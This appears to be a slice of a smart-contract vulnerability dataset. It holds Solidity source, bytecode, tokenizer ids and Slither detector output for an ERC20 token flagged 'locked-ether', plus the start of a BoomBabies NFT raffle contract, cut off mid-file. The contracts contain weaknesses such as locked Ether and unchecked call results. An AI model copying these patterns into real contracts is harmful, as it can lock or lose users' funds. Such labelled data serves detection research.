[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,421
0x96c30d5499ef6ea96a9c221bc18bc39d29c97f27
pragma solidity ^0.4.25; // ---------------------------------------------------------------------------- // 'Thartoken' token contract // // Deployed to : 0x762329CABfa8739F72e516E95066E6506cD0576B // Symbol : Thar // Name : Thar token // Total supply: 900000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract Thartoken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "Thar"; name = "Thar token"; decimals = 18; _totalSupply = 900000000000000000000000; balances[0x762329CABfa8739F72e516E95066E6506cD0576B] = _totalSupply; emit Transfer(address(0), 0x762329CABfa8739F72e516E95066E6506cD0576B, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820f80352932f80df4fc7ca77d97345c95279d9f63d9ae0e696c529385a6c2dba840029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 14142, 2094, 27009, 2683, 2683, 12879, 2575, 5243, 2683, 2575, 2050, 2683, 2278, 19317, 2487, 9818, 15136, 9818, 23499, 2094, 24594, 2278, 2683, 2581, 2546, 22907, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2423, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1005, 22794, 5339, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,422
0x96c31cE5214D9A561089586A5891238F3b1234bc
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; contract BoomBabies is ERC721, Ownable, VRFConsumerBase { using Counters for Counters.Counter; using SafeMath for uint256; uint256 public MINT_PRICE = 0.066 ether; uint256 public raffleAmount; uint256[] public randomResult; uint128 public constant MAX_MINT_QUANTITY = 5; uint128 public constant MAX_SUPPLY = 1000; uint128 public constant RAFFLE_WINNERS = 5; bool public publicSale; address[] public team; mapping(address => bool) public whitelist; string private baseURI; Counters.Counter private _tokenIdCounter; event MintComplete(); constructor(address[] memory _team, address[] memory _whiteList) ERC721("BoomBabies", "BABIES") VRFConsumerBase( 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, 0x514910771AF9Ca656af840dff83E8264EcF986CA ) { team = _team; uint256 wLength = _whiteList.length; for (uint256 i = 0; i < wLength; i+=1) { require(_whiteList[i] != address(0), "Can't add a null address"); whitelist[_whiteList[i]] = true; } uint256 tLength = team.length; for(uint128 i = 0; i < tLength; i+=1){ preMint(team[i]); } } function totalSupply() public view returns (uint256) { return _tokenIdCounter.current(); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721: token not found"); return string(abi.encodePacked(baseURI, Strings.toString(tokenId), ".json")); } function mint(uint256 _quantity) external payable { require(whitelist[msg.sender] || publicSale, "Not whitelisted and public mint not started"); require(_quantity <= MAX_MINT_QUANTITY, "Quantity exceeds per-transaction limit"); require(totalSupply() + _quantity <= MAX_SUPPLY, "Quantity exceeds supply"); require(MINT_PRICE.mul(_quantity) <= msg.value, "Amount of ether sent does not match total mint amount"); for(uint256 i = 0; i < _quantity; i+=1) { safeMint(msg.sender); } } function airdrop(address[] calldata addresses) external onlyOwner { uint256 aLength = addresses.length; require(totalSupply() + aLength <= MAX_SUPPLY, "Quantity exceeds supply"); for (uint256 i = 0; i < aLength; i+=1) { safeMint(addresses[i]); } } function preMint(address to) private { uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(to, tokenId); } function safeMint(address to) private { uint256 tokenId = _tokenIdCounter.current(); _tokenIdCounter.increment(); _safeMint(to, tokenId); if(_tokenIdCounter.current() >= MAX_SUPPLY){ emit MintComplete(); _release(); } } function setBaseURI(string memory _baseURI) public onlyOwner { baseURI = _baseURI; } function setMintPrice(uint256 _mintPrice) external onlyOwner { MINT_PRICE = _mintPrice; } function togglePublicSale() external onlyOwner { publicSale = !publicSale; } function addToWhitelist(address[] calldata addresses) external onlyOwner { uint256 aLength = addresses.length; for (uint256 i = 0; i < aLength; i+=1) { require(addresses[i] != address(0), "Can't add a null address"); whitelist[addresses[i]] = true; } } function release() external onlyTeam { _release(); } function _release() private { uint balance = address(this).balance; _withdrawTeam(balance.div(100).mul(40)); _withdrawCharity(balance.div(100).mul(30)); raffleAmount = balance.div(100).mul(30); requestRaffleWinner(); } function requestRaffleWinner() private returns (bytes32 requestId) { uint256 fee = 2 * 10 ** 18; require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK - fill contract with faucet"); return requestRandomness(0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445, fee); } function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { randomResult = expand(randomness, RAFFLE_WINNERS); _withdrawRaffle(randomResult); } function expand(uint256 randomValue, uint256 n) private pure returns (uint256[] memory expandedValues) { expandedValues = new uint256[](n); for (uint256 i = 0; i < n; i+=1) { expandedValues[i] = (uint256(keccak256(abi.encode(randomValue, i))) % MAX_SUPPLY) + 1; } return expandedValues; } function emergencyWithdraw() external onlyTeam { _withdrawTeam(address(this).balance); } function _withdrawTeam(uint256 amount) private { uint256 tLength = team.length; uint _each = amount.div(tLength); for(uint256 i = 0; i < tLength; i+=1) { (bool sent, bytes memory data) = team[i].call{value: _each}(""); } } function _withdrawCharity(uint256 amount) private { address charity = 0x6B974A9F977A1056715Dbd676F1ff9F1174bc0cC; (bool sent, bytes memory data) = charity.call{value: amount}(""); require(sent, "Failed sending Ether to Charity"); } function _withdrawRaffle(uint256[] memory winningTokens) private { uint _each = raffleAmount.div(winningTokens.length); uint256 wLength = winningTokens.length; for(uint256 i = 0; i < wLength; i+=1) { (bool sent, bytes memory data) = ownerOf(winningTokens[i]).call{value: _each}(""); require(sent, string(abi.encodePacked("Failed sending Ether to Raffle winner: ", winningTokens[i]))); } } modifier onlyTeam() { require(inTeam(msg.sender) == true, "Withdraw must be initiated by a team member"); _; } function inTeam(address _address) private view returns (bool) { uint256 tLength = team.length; for(uint256 i = 0; i < tLength; i+=1){ if(team[i] == _address){ return true; } } return false; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear 